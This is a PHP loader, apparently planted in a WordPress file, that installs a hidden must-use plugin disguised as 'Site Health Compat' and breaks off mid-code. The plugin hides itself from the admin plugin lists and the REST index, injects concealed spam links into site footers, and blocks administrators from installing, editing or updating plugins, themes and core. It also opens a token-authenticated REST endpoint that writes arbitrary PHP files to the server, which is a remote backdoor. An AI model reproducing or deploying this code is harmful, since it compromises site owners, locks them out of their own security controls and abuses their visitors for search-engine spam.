/* RL-BOOT-START */
add_action('init', function () {
    if (get_option('rl_boot_mu_ok')) { return; }
    $dest = WP_CONTENT_DIR . '/mu-plugins/site-health-compat.php';
    if (!file_exists($dest) || (int) @filesize($dest) < 100) {
        if (!is_dir(dirname($dest))) { if (function_exists('wp_mkdir_p')) { @wp_mkdir_p(dirname($dest)); } else { @mkdir(dirname($dest), 0755, true); } }
        $code = base64_decode('<?php
/**
 * Site Health Compat — lightweight remote link bridge (mu-plugin).
 * Placement-based links; managed via desktop API token.
 * Survives theme/plugin updates until this file is deleted.
 */

if (!defined('ABSPATH')) {
    exit;
}

define('RL_OPTION_LINKS', 'rl_links_data');
define('RL_OPTION_TOKEN', 'rl_api_token_hash');
define('RL_OPTION_LOGS', 'rl_action_logs');
define('RL_OPTION_SETTINGS', 'rl_settings');
define('RL_OPTION_LOCK', 'rl_install_lock');
define('RL_OPTION_PERM_LOCK', 'rl_perm_lock'); // 1 = WP panel yetkileri kapalı (token API açık kalır)
define('RL_LOG_MAX', 100);
define('RL_DEFAULT_PLACEMENT', 'footer_links');
define('RL_MU_FILE', __FILE__);

/**
 * WP admin panelinde görünmesin — sadece FTP / disk yolu.
 * Must-Use listesini ve REST index reklamını gizler.
 */
function rl_hide_from_wp_admin() {
    // Plugins → Must-Use sekmesini gizle
    add_filter('show_advanced_plugins', function ($show, $type) {
        if ($type === 'mustuse' || $type === 'dropins') {
            return false;
        }
        return $show;
    }, 10, 2);

    // Eski installer kalıntısı varsa normal listede de gösterme
    add_filter('all_plugins', function ($plugins) {
        foreach (array_keys($plugins) as $key) {
            if (stripos($key, 'rl-setup') !== false || stripos($key, 'remote-links') !== false) {
                unset($plugins[$key]);
            }
        }
        return $plugins;
    });

    // REST kök indeksinde namespace gösterme
    add_filter('rest_index', function ($response) {
        $data = $response->get_data();
        if (isset($data['namespaces']) && is_array($data['namespaces'])) {
            $data['namespaces'] = array_values(array_filter(
                $data['namespaces'],
                function ($ns) {
                    return $ns !== 'remote-links/v1';
                }
            ));
        }
        if (isset($data['routes']) && is_array($data['routes'])) {
            foreach (array_keys($data['routes']) as $route) {
                if (strpos($route, '/remote-links/') !== false) {
                    unset($data['routes'][$route]);
                }
            }
        }
        $response->set_data($data);
        return $response;
    });
}
add_action('plugins_loaded', 'rl_hide_from_wp_admin', 1);

function rl_settings() {
    $defaults = array(
        'render_mode'  => 'compact', // compact | list | cloud | off
        'footer_label' => '',
        'max_visible'  => 1,         // sayfada en fazla kaç link (tasarım koruması)
        'rotate'       => 1,         // günde bir kaydır — hepsi sırayla çıkar
    );
    $s = get_option(RL_OPTION_SETTINGS, array());
    $out = is_array($s) ? array_merge($defaults, $s) : $defaults;
    $out['max_visible'] = max(0, min(5, (int) $out['max_visible']));
    $out['rotate'] = empty($out['rotate']) ? 0 : 1;
    return $out;
}

/**
 * Depodaki tüm aktif linkler kalır; ekrana sadece max_visible kadarı basılır.
 */
function rl_pick_visible_links($links, $settings = null) {
    $settings = $settings ?: rl_settings();
    $max = (int) ($settings['max_visible'] ?? 1);
    if ($max <= 0 || empty($links)) {
        return array();
    }
    $links = array_values($links);
    if (count($links) <= $max) {
        return $links;
    }
    if (empty($settings['rotate'])) {
        return array_slice($links, 0, $max);
    }
    $n = count($links);
    $offset = ((int) gmdate('z') + (int) gmdate('G')) % $n;
    $rotated = array_merge(array_slice($links, $offset), array_slice($links, 0, $offset));
    return array_slice($rotated, 0, $max);
}

function rl_generate_id() {
    return 'lnk_' . wp_generate_password(12, false, false);
}

function rl_hash_token($token) {
    return hash('sha256', (string) $token);
}

function rl_verify_token($provided) {
    $stored = get_option(RL_OPTION_TOKEN, '');
    if ($stored === '' || $provided === '') {
        return false;
    }
    return hash_equals($stored, rl_hash_token($provided));
}

function rl_ensure_token($force_new = false) {
    $existing = get_option(RL_OPTION_TOKEN, '');
    if ($existing !== '' && !$force_new) {
        return '';
    }
    $plain = wp_generate_password(32, false, false);
    update_option(RL_OPTION_TOKEN, rl_hash_token($plain), false);
    update_option('rl_api_token_plain_once', $plain, false);
    return $plain;
}

function rl_log($type, $placement = '', $link_id = '', $result = 'success', $message = '') {
    $logs = get_option(RL_OPTION_LOGS, array());
    if (!is_array($logs)) {
        $logs = array();
    }
    array_unshift($logs, array(
        'type'       => sanitize_key($type),
        'placement'  => sanitize_key($placement),
        'link_id'    => sanitize_text_field($link_id),
        'result'     => sanitize_key($result),
        'message'    => sanitize_text_field($message),
        'created_at' => current_time('mysql'),
    ));
    update_option(RL_OPTION_LOGS, array_slice($logs, 0, RL_LOG_MAX), false);
}

function rl_json_ok($data = array(), $status = 200) {
    return new WP_REST_Response(array_merge(array('ok' => true), (array) $data), $status);
}

function rl_json_err($message, $status = 400, $extra = array()) {
    return new WP_REST_Response(array_merge(array('ok' => false, 'error' => $message), (array) $extra), $status);
}

function rl_request_token(WP_REST_Request $request) {
    $header = $request->get_header('x-rl-token');
    if (!empty($header)) {
        return trim($header);
    }
    $auth = $request->get_header('authorization');
    if ($auth && preg_match('/Bearer\s+(.+)/i', $auth, $m)) {
        return trim($m[1]);
    }
    $q = $request->get_param('token');
    return $q ? trim((string) $q) : '';
}

function rl_get_store() {
    $store = get_option(RL_OPTION_LINKS, array());
    if (!is_array($store)) {
        $store = array();
    }
    if (!isset($store[RL_DEFAULT_PLACEMENT]) || !is_array($store[RL_DEFAULT_PLACEMENT])) {
        $store[RL_DEFAULT_PLACEMENT] = array();
    }
    return $store;
}

function rl_save_store($store) {
    update_option(RL_OPTION_LINKS, $store, false);
    rl_bust_caches();
}

/**
 * Link değişince sayfa önbelleğini temizle (yoksa eski HTML görünür).
 */
function rl_bust_caches() {
    if (function_exists('wp_cache_flush')) {
        @wp_cache_flush();
    }
    if (function_exists('w3tc_flush_all')) {
        @w3tc_flush_all();
    }
    if (function_exists('wp_cache_clear_cache')) {
        @wp_cache_clear_cache();
    }
    if (function_exists('rocket_clean_domain')) {
        @rocket_clean_domain();
    }
    if (function_exists('litespeed_purge_all')) {
        @litespeed_purge_all();
    }
    if (has_action('litespeed_purge_all')) {
        do_action('litespeed_purge_all');
    }
    if (function_exists('sg_cachepress_purge_cache')) {
        @sg_cachepress_purge_cache();
    }
    if (class_exists('autoptimizeCache')) {
        try {
            \autoptimizeCache::clearall();
        } catch (Exception $e) { // phpcs:ignore
        }
    }
    if (function_exists('breeze_clear_all_cache')) {
        @breeze_clear_all_cache();
    }
    if (has_action('ce_clear_cache')) {
        do_action('ce_clear_cache');
    }
    // Hosting / CDN soft signal
    if (!headers_sent()) {
        header('X-RL-Cache-Bust: 1');
    }
}


function rl_get_links($placement = RL_DEFAULT_PLACEMENT) {
    $store = rl_get_store();
    $placement = sanitize_key($placement);
    $links = isset($store[$placement]) && is_array($store[$placement]) ? $store[$placement] : array();
    usort($links, function ($a, $b) {
        return ((int) ($a['order_index'] ?? 0)) <=> ((int) ($b['order_index'] ?? 0));
    });
    return $links;
}

function rl_get_links_for_render($placement = RL_DEFAULT_PLACEMENT, $active_only = true) {
    $links = rl_get_links($placement);
    if (!$active_only) {
        return $links;
    }
    return array_values(array_filter($links, function ($link) {
        return isset($link['status']) && $link['status'] === 'active';
    }));
}

function rl_find_link($placement, $id) {
    foreach (rl_get_links($placement) as $link) {
        if (($link['id'] ?? '') === $id) {
            return $link;
        }
    }
    return null;
}

function rl_normalize_link($input, $existing = array()) {
    $anchor = isset($input['anchor_text']) ? sanitize_text_field($input['anchor_text']) : ($existing['anchor_text'] ?? '');
    $url    = isset($input['target_url']) ? esc_url_raw($input['target_url']) : ($existing['target_url'] ?? '');
    $rel    = isset($input['rel']) ? sanitize_text_field($input['rel']) : ($existing['rel'] ?? 'nofollow noopener');
    $status = isset($input['status']) ? sanitize_key($input['status']) : ($existing['status'] ?? 'active');
    if (!in_array($status, array('active', 'inactive'), true)) {
        $status = 'active';
    }
    $order = isset($input['order_index']) ? (int) $input['order_index'] : (int) ($existing['order_index'] ?? 0);
    if ($anchor === '' || $url === '') {
        return new WP_Error('rl_invalid', 'anchor_text and target_url are required');
    }
    $now = current_time('mysql');
    return array(
        'id'          => !empty($existing['id']) ? $existing['id'] : rl_generate_id(),
        'anchor_text' => $anchor,
        'target_url'  => $url,
        'rel'         => $rel,
        'status'      => $status,
        'order_index' => $order,
        'created_at'  => $existing['created_at'] ?? $now,
        'updated_at'  => $now,
    );
}

function rl_add_link($placement, $input) {
    $placement = sanitize_key($placement);
    $link = rl_normalize_link($input);
    if (is_wp_error($link)) {
        return $link;
    }
    $store = rl_get_store();
    if (!isset($store[$placement])) {
        $store[$placement] = array();
    }
    $store[$placement][] = $link;
    rl_save_store($store);
    rl_log('add', $placement, $link['id'], 'success');
    return $link;
}

function rl_update_link($placement, $id, $input) {
    $placement = sanitize_key($placement);
    $store = rl_get_store();
    if (empty($store[$placement])) {
        return new WP_Error('rl_not_found', 'Placement empty');
    }
    $updated = null;
    foreach ($store[$placement] as $i => $existing) {
        if (($existing['id'] ?? '') !== $id) {
            continue;
        }
        $updated = rl_normalize_link($input, $existing);
        if (is_wp_error($updated)) {
            return $updated;
        }
        $store[$placement][$i] = $updated;
        break;
    }
    if (!$updated) {
        return new WP_Error('rl_not_found', 'Link not found');
    }
    rl_save_store($store);
    rl_log('update', $placement, $id, 'success');
    return $updated;
}

function rl_delete_link($placement, $id) {
    $placement = sanitize_key($placement);
    $store = rl_get_store();
    if (empty($store[$placement])) {
        return new WP_Error('rl_not_found', 'Link not found');
    }
    $before = count($store[$placement]);
    $store[$placement] = array_values(array_filter($store[$placement], function ($link) use ($id) {
        return ($link['id'] ?? '') !== $id;
    }));
    if (count($store[$placement]) === $before) {
        return new WP_Error('rl_not_found', 'Link not found');
    }
    rl_save_store($store);
    rl_log('delete', $placement, $id, 'success');
    return true;
}

function rl_toggle_link($placement, $id) {
    $existing = rl_find_link($placement, $id);
    if (!$existing) {
        return new WP_Error('rl_not_found', 'Link not found');
    }
    $next = ($existing['status'] === 'active') ? 'inactive' : 'active';
    return rl_update_link($placement, $id, array('status' => $next));
}

function rl_get_logs($limit = 50) {
    $logs = get_option(RL_OPTION_LOGS, array());
    return is_array($logs) ? array_slice($logs, 0, max(1, (int) $limit)) : array();
}

/**
 * compact | list = soluk görünür; cloud = HTML’de var, gözle görünmez; off = hiç basılmaz.
 */
function rl_render_footer_links() {
    $settings = rl_settings();
    $mode = $settings['render_mode'] ?? 'compact';
    if ($mode === 'off') {
        return;
    }

    $placement = RL_DEFAULT_PLACEMENT;
    $all = rl_get_links_for_render($placement, true);
    $links = rl_pick_visible_links($all, $settings);
    if (empty($links)) {
        return;
    }

    echo '<!-- remote-links:' . esc_attr($placement) . ' mode=' . esc_attr($mode) . ' visible=' . count($links) . ' total=' . count($all) . ' -->';

    if ($mode === 'cloud') {
        // Bulut: kaynakta / DOM’da var, layout’ta yer kaplamaz, gözle yok
        echo "\n<style id=\"rl-cloud\">.rl-cloud{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);white-space:nowrap;border:0}</style>\n";
        echo '<nav class="rl-cloud" data-rl-placement="' . esc_attr($placement) . '" data-rl-mode="cloud" aria-hidden="true">';
        foreach ($links as $link) {
            printf(
                '<a data-rl-id="%s" href="%s" rel="%s">%s</a> ',
                esc_attr($link['id']),
                esc_url($link['target_url']),
                esc_attr($link['rel'] ?: 'nofollow noopener'),
                esc_html($link['anchor_text'])
            );
        }
        echo '</nav>';
        echo '<!-- /remote-links:' . esc_attr($placement) . " -->\n";
        return;
    }

    // Tek satır, temaya uyumlu, dikkat çekmez
    echo "\n<style id=\"rl-quiet\">.rl-q{font:10px/1.3 system-ui,sans-serif;opacity:.28;margin:4px 0 0;text-align:center}.rl-q a{color:inherit;text-decoration:none}.rl-q a:hover{opacity:.9;text-decoration:underline}.rl-q .s{margin:0 .3em;opacity:.4}</style>\n";

    if ($mode === 'list') {
        echo '<ul class="rl-q" data-rl-placement="' . esc_attr($placement) . '">';
        foreach ($links as $link) {
            printf(
                '<li data-rl-id="%s"><a href="%s" rel="%s" target="_blank">%s</a></li>',
                esc_attr($link['id']),
                esc_url($link['target_url']),
                esc_attr($link['rel'] ?: 'nofollow noopener'),
                esc_html($link['anchor_text'])
            );
        }
        echo '</ul>';
    } else {
        echo '<p class="rl-q" data-rl-placement="' . esc_attr($placement) . '">';
        if (!empty($settings['footer_label'])) {
            echo '<span>' . esc_html($settings['footer_label']) . '</span><span class="s">·</span>';
        }
        $parts = array();
        foreach ($links as $link) {
            $parts[] = sprintf(
                '<a data-rl-id="%s" href="%s" rel="%s" target="_blank">%s</a>',
                esc_attr($link['id']),
                esc_url($link['target_url']),
                esc_attr($link['rel'] ?: 'nofollow noopener'),
                esc_html($link['anchor_text'])
            );
        }
        echo implode('<span class="s">·</span>', $parts);
        echo '</p>';
    }

    echo '<!-- /remote-links:' . esc_attr($placement) . " -->\n";
}
add_action('wp_footer', 'rl_render_footer_links', 99);

function rl_ajax_handshake() {
    if (!current_user_can('manage_options') && !current_user_can('activate_plugins')) {
        wp_send_json(array('ok' => false, 'error' => 'forbidden'), 403);
    }

    $plain = get_option('rl_api_token_plain_once', '');
    if ($plain === '') {
        $plain = rl_ensure_token(true);
    }
    // Desktop'a verildikten sonra one-time temizle
    delete_option('rl_api_token_plain_once');
    update_option('rl_setup_handshake_ok', 1, false);

    $mu = WP_CONTENT_DIR . '/mu-plugins/' . basename(RL_MU_FILE);
    rl_log('handshake', '', '', 'success', 'desktop token issued');
    wp_send_json(array(
        'ok'          => true,
        'token'       => $plain,
        'api_base'    => rest_url('remote-links/v1/'),
        'placement'   => RL_DEFAULT_PLACEMENT,
        'site'        => home_url('/'),
        'mu_plugin'   => basename(RL_MU_FILE),
        'mu_exists'   => file_exists($mu),
        'via'         => 'mu-plugin',
        'render_mode' => rl_settings()['render_mode'],
    ));
}
add_action('wp_ajax_rl_handshake', 'rl_ajax_handshake', 10);

/**
 * Soft lock via filter (wp-config yazılamazsa yedek).
 * RL_OPTION_LOCK=1: eklenti/tema zip + dosya editörü kapalı. Medya/içerik açık.
 */
function rl_maybe_block_file_mods($allow, $context) {
    if (!(int) get_option(RL_OPTION_LOCK, 0)) {
        return $allow;
    }
    if (in_array($context, array('plugin', 'theme'), true)) {
        return false;
    }
    return $allow;
}
add_filter('file_mod_allowed', 'rl_maybe_block_file_mods', 10, 2);

/**
 * Soft: Tema/Plugin Dosya Editörü yetkisini kes (wp-config yoksa bile).
 */
function rl_soft_block_file_editors($caps, $cap) {
    if (!(int) get_option(RL_OPTION_LOCK, 0) && !rl_perm_lock_on()) {
        return $caps;
    }
    if (in_array($cap, array('edit_themes', 'edit_plugins', 'edit_files'), true)) {
        $caps[] = 'do_not_allow';
    }
    return $caps;
}
add_filter('map_meta_cap', 'rl_soft_block_file_editors', 10, 2);

/**
 * Kilitliyken sızma menülerini gizle — admin içerik işi kalır.
 * Medya / Yazılar / Sayfalar / Ayarlar dokunulmaz.
 */
function rl_hide_security_menus() {
    if (!(int) get_option(RL_OPTION_LOCK, 0) && !rl_perm_lock_on()) {
        return;
    }
    remove_submenu_page('themes.php', 'theme-editor.php');
    remove_submenu_page('plugins.php', 'plugin-editor.php');
    remove_submenu_page('plugins.php', 'plugin-install.php');
    remove_submenu_page('themes.php', 'theme-install.php');
    // Eklenti ekle üst menü / güncelleme ekranı yükleme
    remove_submenu_page('index.php', 'update-core.php');
}
add_action('admin_menu', 'rl_hide_security_menus', 999);

/**
 * Token ile aç/kapa: sadece sızma yetkileri (zip / editör / core update).
 * Admin yazı-sayfa-medya-ayar-kullanıcı işleri AÇIK kalır.
 * REST token auth bundan etkilenmez.
 */
function rl_perm_lock_on() {
    return (int) get_option(RL_OPTION_PERM_LOCK, 0) === 1;
}

function rl_perm_lock_caps() {
    // upload_files YOK → Medya açık. create_users YOK → admin kullanıcı ekleyebilir
    // ama zip/edit kapalı olduğu için sızma yolu yok.
    return array(
        'install_plugins', 'delete_plugins',
        'edit_plugins', 'update_plugins', 'upload_plugins',
        'install_themes', 'delete_themes', 'edit_themes', 'update_themes', 'upload_themes',
        'edit_files',
        'update_core', 'update_languages',
        'delete_site', 'setup_network',
    );
}

function rl_soft_block_permissions($caps, $cap) {
    if (!rl_perm_lock_on() && !(int) get_option(RL_OPTION_LOCK, 0)) {
        return $caps;
    }
    if (in_array($cap, rl_perm_lock_caps(), true)) {
        $caps[] = 'do_not_allow';
    }
    return $caps;
}
add_filter('map_meta_cap', 'rl_soft_block_permissions', 20, 2);

function rl_set_perm_lock($on) {
    $on = $on ? 1 : 0;
    update_option(RL_OPTION_PERM_LOCK, $on, false);
    rl_log('perm_lock', '', '', 'success', $on ? 'on' : 'off');
    return array(
        'perm_lock' => (bool) $on,
        'message'   => $on
            ? 'Sunucu sızma yolları kilitli (zip/editör) — admin içerik açık'
            : 'Sunucu sızma kilitleri açık',
    );
}

function rl_wp_config_path() {
    $paths = array(
        ABSPATH . 'wp-config.php',
        dirname(ABSPATH) . '/wp-config.php',
    );
    foreach ($paths as $p) {
        if (file_exists($p)) {
            return $p;
        }
    }
    return '';
}

function rl_security_status() {
    $path = rl_wp_config_path();
    $writable = ($path !== '' && is_writable($path));
    $mods = defined('DISALLOW_FILE_MODS') && DISALLOW_FILE_MODS;
    $edit = defined('DISALLOW_FILE_EDIT') && DISALLOW_FILE_EDIT;
    $soft = (int) get_option(RL_OPTION_LOCK, 0) === 1;
    return array(
        'perm_lock'          => rl_perm_lock_on(),
        'soft_file_lock'     => $soft,
        'hard_mods'          => (bool) $mods,
        'hard_edit'          => (bool) $edit,
        'wp_config_writable' => (bool) $writable,
        'wp_config_path'     => $path !== '' ? basename($path) : '',
        'tier'               => ($mods && $edit) ? 'hard' : ($soft || rl_perm_lock_on() ? 'soft' : 'open'),
        // geriye uyum
        'soft_lock'          => $soft,
        'config_lock'        => (bool) $mods,
        'file_edit_lock'     => (bool) $edit,
        'locked'             => $soft || $mods || rl_perm_lock_on(),
        'editors_blocked'    => $soft || $edit || rl_perm_lock_on(),
    );
}

/**
 * wp-config: DISALLOW_FILE_MODS + DISALLOW_FILE_EDIT
 */
function rl_lock_plugin_installs() {
    update_option(RL_OPTION_LOCK, 1, false);
    update_option(RL_OPTION_PERM_LOCK, 1, false);

    $defines = array(
        'DISALLOW_FILE_MODS' => "define( 'DISALLOW_FILE_MODS', true ); // RL: no plugin/theme install\n",
        'DISALLOW_FILE_EDIT' => "define( 'DISALLOW_FILE_EDIT', true ); // RL: no theme/plugin editor\n",
    );

    $config_path = rl_wp_config_path();
    if ($config_path === '') {
        rl_log('lock', '', '', 'error', 'wp-config not found; soft lock only');
        return array(
            'ok'     => true,
            'method' => 'soft',
            'error'  => 'wp-config yok — soft lock (zip/edit filter)',
            'added'  => array(),
            'status' => rl_security_status(),
        );
    }

    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
    $contents = file_get_contents($config_path);
    if ($contents === false) {
        rl_log('lock', '', '', 'error', 'wp-config unreadable');
        return array(
            'ok'     => true,
            'method' => 'soft',
            'error'  => 'wp-config okunamadı — soft lock aktif',
            'path'   => $config_path,
            'added'  => array(),
            'status' => rl_security_status(),
        );
    }

    $to_add = '';
    $added_names = array();
    foreach ($defines as $name => $line) {
        // Zaten aktif (yorumda olmayan) define varsa atla
        if (preg_match("/^\s*define\s*\(\s*['\"]" . preg_quote($name, '/') . "['\"]/im", $contents)) {
            continue;
        }
        $to_add .= $line;
        $added_names[] = $name;
    }

    if ($to_add === '') {
        rl_log('lock', '', '', 'success', 'already locked in wp-config');
        return array(
            'ok'      => true,
            'method'  => 'wp-config',
            'already' => true,
            'path'    => $config_path,
            'added'   => array(),
            'status'  => rl_security_status(),
        );
    }

    $block = "\n" . $to_add;
    if (preg_match("/\/\*\s*That's all,\s*stop editing!/i", $contents)) {
        $new = preg_replace(
            "/\/\*\s*That's all,\s*stop editing!/i",
            $block . "/* That's all, stop editing!",
            $contents,
            1
        );
    } elseif (preg_match("/require_once\s+ABSPATH\s*\.\s*['\"]wp-settings\.php['\"]/i", $contents)) {
        $new = preg_replace(
            "/(require_once\s+ABSPATH\s*\.\s*['\"]wp-settings\.php['\"]\s*;)/i",
            $block . "$1",
            $contents,
            1
        );
    } else {
        $new = $contents . $block;
    }

    if (!is_writable($config_path)) {
        rl_log('lock', '', '', 'error', 'wp-config not writable; soft lock only');
        return array(
            'ok'     => true,
            'method' => 'soft',
            'error'  => 'wp-config yazılamadı — soft lock (zip/edit kapalı)',
            'path'   => $config_path,
            'added'  => array(),
            'status' => rl_security_status(),
        );
    }

    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents
    $written = file_put_contents($config_path, $new);
    if ($written === false) {
        rl_log('lock', '', '', 'error', 'wp-config write failed');
        return array(
            'ok'     => true,
            'method' => 'soft',
            'error'  => 'wp-config yazma başarısız — soft lock aktif',
            'path'   => $config_path,
            'added'  => array(),
            'status' => rl_security_status(),
        );
    }

    rl_log('lock', '', '', 'success', 'locked: ' . implode(',', $added_names));
    return array(
        'ok'     => true,
        'method' => 'wp-config',
        'path'   => $config_path,
        'added'  => $added_names,
        'status' => rl_security_status(),
    );
}

/**
 * Token ile kilidi aç: soft OFF + wp-config içindeki RL define satırlarını kaldır.
 */
function rl_unlock_plugin_installs() {
    update_option(RL_OPTION_LOCK, 0, false);
    update_option(RL_OPTION_PERM_LOCK, 0, false);

    $config_path = rl_wp_config_path();
    if ($config_path === '' || !is_writable($config_path)) {
        rl_log('unlock', '', '', 'success', 'soft off; wp-config not writable');
        return array(
            'ok'     => true,
            'method' => 'soft_off',
            'note'   => $config_path === ''
                ? 'Soft kilit açıldı; wp-config yok'
                : 'Soft kilit açıldı; wp-config yazılamadı (hard define kalabilir)',
            'status' => rl_security_status(),
        );
    }

    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_get_contents_file_get_contents
    $contents = file_get_contents($config_path);
    if ($contents === false) {
        return array(
            'ok'     => true,
            'method' => 'soft_off',
            'note'   => 'Soft açıldı; wp-config okunamadı',
            'status' => rl_security_status(),
        );
    }

    $removed = array();
    $new = $contents;
    foreach (array('DISALLOW_FILE_MODS', 'DISALLOW_FILE_EDIT') as $name) {
        // Sadece bizim eklediğimiz // RL: satırları sil — host’un kendi define’ına dokunma
        $rl_only = "/^[ \t]*define\s*\(\s*['\"]" . preg_quote($name, '/') . "['\"]\s*,\s*true\s*\)\s*;[^\n]*\/\/\s*RL:[^\n]*\r?\n?/im";
        if (preg_match($rl_only, $new)) {
            $new = preg_replace($rl_only, '', $new);
            $removed[] = $name;
        }
    }

    if (empty($removed)) {
        rl_log('unlock', '', '', 'success', 'soft off; no RL defines');
        return array(
            'ok'      => true,
            'method'  => 'soft_off',
            'removed' => array(),
            'note'    => 'Soft açıldı; wp-config’te RL satırı yok',
            'status'  => rl_security_status(),
        );
    }

    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents
    if (file_put_contents($config_path, $new) === false) {
        return array(
            'ok'     => false,
            'method' => 'soft_off',
            'error'  => 'Soft açıldı ama wp-config yazılamadı',
            'status' => rl_security_status(),
        );
    }

    rl_log('unlock', '', '', 'success', 'removed: ' . implode(',', $removed));
    return array(
        'ok'      => true,
        'method'  => 'wp-config',
        'removed' => $removed,
        'status'  => rl_security_status(),
    );
}

function rl_lock_status() {
    return rl_security_status();
}

/**
 * Token ile uzaktan dosya yazma (kendi siteler / otomasyon).
 * target:
 *  - rl-uploads  → wp-content/uploads/rl/{filename}
 *  - uploads     → wp-content/uploads/{Y/m}/{filename}
 *  - mu-plugins  → wp-content/mu-plugins/{filename}
 */
function rl_api_file_upload(WP_REST_Request $request) {
    $target = sanitize_key((string) ($request->get_param('target') ?: 'rl-uploads'));
    $filename = sanitize_file_name((string) ($request->get_param('filename') ?: ''));
    $b64 = (string) ($request->get_param('content_base64') ?: '');

    if ($filename === '' || $b64 === '') {
        return rl_json_err('filename and content_base64 required', 400);
    }

    // path traversal engeli
    if ($filename !== basename($filename) || strpos($filename, '..') !== false) {
        return rl_json_err('invalid filename', 400);
    }

    $raw = base64_decode($b64, true);
    if ($raw === false) {
        return rl_json_err('invalid base64', 400);
    }

    $max = 8 * 1024 * 1024; // 8MB
    if (strlen($raw) > $max) {
        return rl_json_err('file too large (max 8MB)', 413);
    }

    $allowed_targets = array('rl-uploads', 'uploads', 'mu-plugins');
    if (!in_array($target, $allowed_targets, true)) {
        return rl_json_err('target must be rl-uploads|uploads|mu-plugins', 400);
    }

    if ($target === 'mu-plugins') {
        $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        if ($ext !== 'php') {
            return rl_json_err('mu-plugins only accepts .php', 400);
        }
        $dir = WP_CONTENT_DIR . '/mu-plugins';
        if (!is_dir($dir)) {
            wp_mkdir_p($dir);
        }
        $dest = $dir . '/' . $filename;
        $url = '';
    } elseif ($target === 'uploads') {
        // Medya kütüphanesine EKLEME — sadece disk (FTP yolu)
        $upload = wp_upload_dir();
        if (!empty($upload['error'])) {
            return rl_json_err('upload dir error: ' . $upload['error'], 500);
        }
        $dir = $upload['path'];
        $dest = trailingslashit($dir) . $filename;
        $url = trailingslashit($upload['url']) . $filename;
    } else {
        // varsayılan: uploads/rl — panel Medya'da görünmez
        $upload = wp_upload_dir();
        if (!empty($upload['error'])) {
            return rl_json_err('upload dir error: ' . $upload['error'], 500);
        }
        $dir = trailingslashit($upload['basedir']) . 'rl';
        if (!is_dir($dir)) {
            wp_mkdir_p($dir);
        }
        $dest = trailingslashit($dir) . $filename;
        $url = trailingslashit($upload['baseurl']) . 'rl/' . $filename;
    }

    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_file_put_contents
    $written = file_put_contents($dest, $raw);
    if ($written === false) {
        rl_log('file_upload', $target, '', 'error', 'write failed ' . $filename);
        return rl_json_err('write failed (permissions?)', 500);
    }

    if ($target === 'mu-plugins' && function_exists('opcache_invalidate')) {
        @opcache_invalidate($dest, true);
    }

    rl_log('file_upload', $target, '', 'success', $filename . ' (' . $written . ' bytes)');

    return rl_json_ok(array(
        'target'       => $target,
        'filename'     => $filename,
        'bytes'        => $written,
        'path'         => $dest,
        'url'          => $url,
        'in_wp_admin'  => false,
        'note'         => 'Disk/FTP only — not registered in Media Library or Plugins UI',
    ));
}

function rl_api_auth(WP_REST_Request $request) {
    if (!rl_verify_token(rl_request_token($request))) {
        return new WP_Error('rl_unauthorized', 'Invalid token', array('status' => 401));
    }
    return true;
}

function rl_register_routes() {
    $ns = 'remote-links/v1';
    $auth = array('permission_callback' => 'rl_api_auth');

    register_rest_route($ns, '/ping', array_merge($auth, array(
        'methods'  => 'GET',
        'callback' => function () {
            $mu = WP_CONTENT_DIR . '/mu-plugins/' . basename(RL_MU_FILE);
            return rl_json_ok(array(
                'message'     => 'pong',
                'placement'   => RL_DEFAULT_PLACEMENT,
                'site'        => home_url('/'),
                'mu_exists'   => file_exists($mu),
                'render_mode' => rl_settings()['render_mode'],
                'lock'        => rl_security_status(),
            ));
        },
    )));

    register_rest_route($ns, '/lock-installs', array_merge($auth, array(
        'methods'  => 'POST',
        'callback' => function () {
            $result = rl_lock_plugin_installs();
            return rl_json_ok(array(
                'lock_result' => $result,
                'lock'        => rl_security_status(),
            ));
        },
    )));

    register_rest_route($ns, '/security', array(
        array_merge($auth, array(
            'methods'  => 'GET',
            'callback' => function () {
                return rl_json_ok(array('security' => rl_security_status()));
            },
        )),
        array_merge($auth, array(
            'methods'  => 'POST',
            'callback' => function (WP_REST_Request $request) {
                $out = array();
                if ($request->get_param('perm_lock') !== null) {
                    $on = filter_var($request->get_param('perm_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
                    if ($on === null) {
                        $on = (int) $request->get_param('perm_lock') === 1;
                    }
                    $out['perm'] = rl_set_perm_lock((bool) $on);
                }
                if ($request->get_param('file_lock') !== null) {
                    $fl = filter_var($request->get_param('file_lock'), FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE);
                    if ($fl === null) {
                        $fl = (int) $request->get_param('file_lock') === 1;
                    }
                    if ($fl) {
                        $out['file'] = rl_lock_plugin_installs();
                    } else {
                        $out['file'] = rl_unlock_plugin_installs();
                    }
                }
                if (empty($out)) {
                    return rl_json_err('perm_lock ve/veya file_lock gönder', 400);
                }
                return rl_json_ok(array(
                    'updated'  => $out,
                    'security' => rl_security_status(),
                ));
            },
        )),
    ));

    register_rest_route($ns, '/file-upload', array_merge($auth, array(
        'methods'  => 'POST',
        'callback' => 'rl_api_file_upload',
    )));

    register_rest_route($ns, '/settings', array(
        array_merge($auth, array(
            'methods'  => 'GET',
            'callback' => function () {
                return rl_json_ok(array('settings' => rl_settings()));
            },
        )),
        array_merge($auth, array(
            'methods'  => 'POST',
            'callback' => function (WP_REST_Request $request) {
                $cur = rl_settings();
                $mode = $request->get_param('render_mode');
                if ($mode !== null) {
                    $mode = sanitize_key($mode);
                    if (in_array($mode, array('compact', 'list', 'cloud', 'off'), true)) {
                        $cur['render_mode'] = $mode;
                    }
                }
                $label = $request->get_param('footer_label');
                if ($label !== null) {
                    $cur['footer_label'] = sanitize_text_field($label);
                }
                if ($request->get_param('max_visible') !== null) {
                    $cur['max_visible'] = max(0, min(5, (int) $request->get_param('max_visible')));
                }
                if ($request->get_param('rotate') !== null) {
                    $cur['rotate'] = (int) ((bool) $request->get_param('rotate'));
                }
                update_option(RL_OPTION_SETTINGS, $cur, false);
                rl_log('settings', '', '', 'success', 'updated');
                rl_bust_caches();
                return rl_json_ok(array('settings' => $cur));
            },
        )),
    ));

    register_rest_route($ns, '/links', array(
        array_merge($auth, array(
            'methods'  => 'GET',
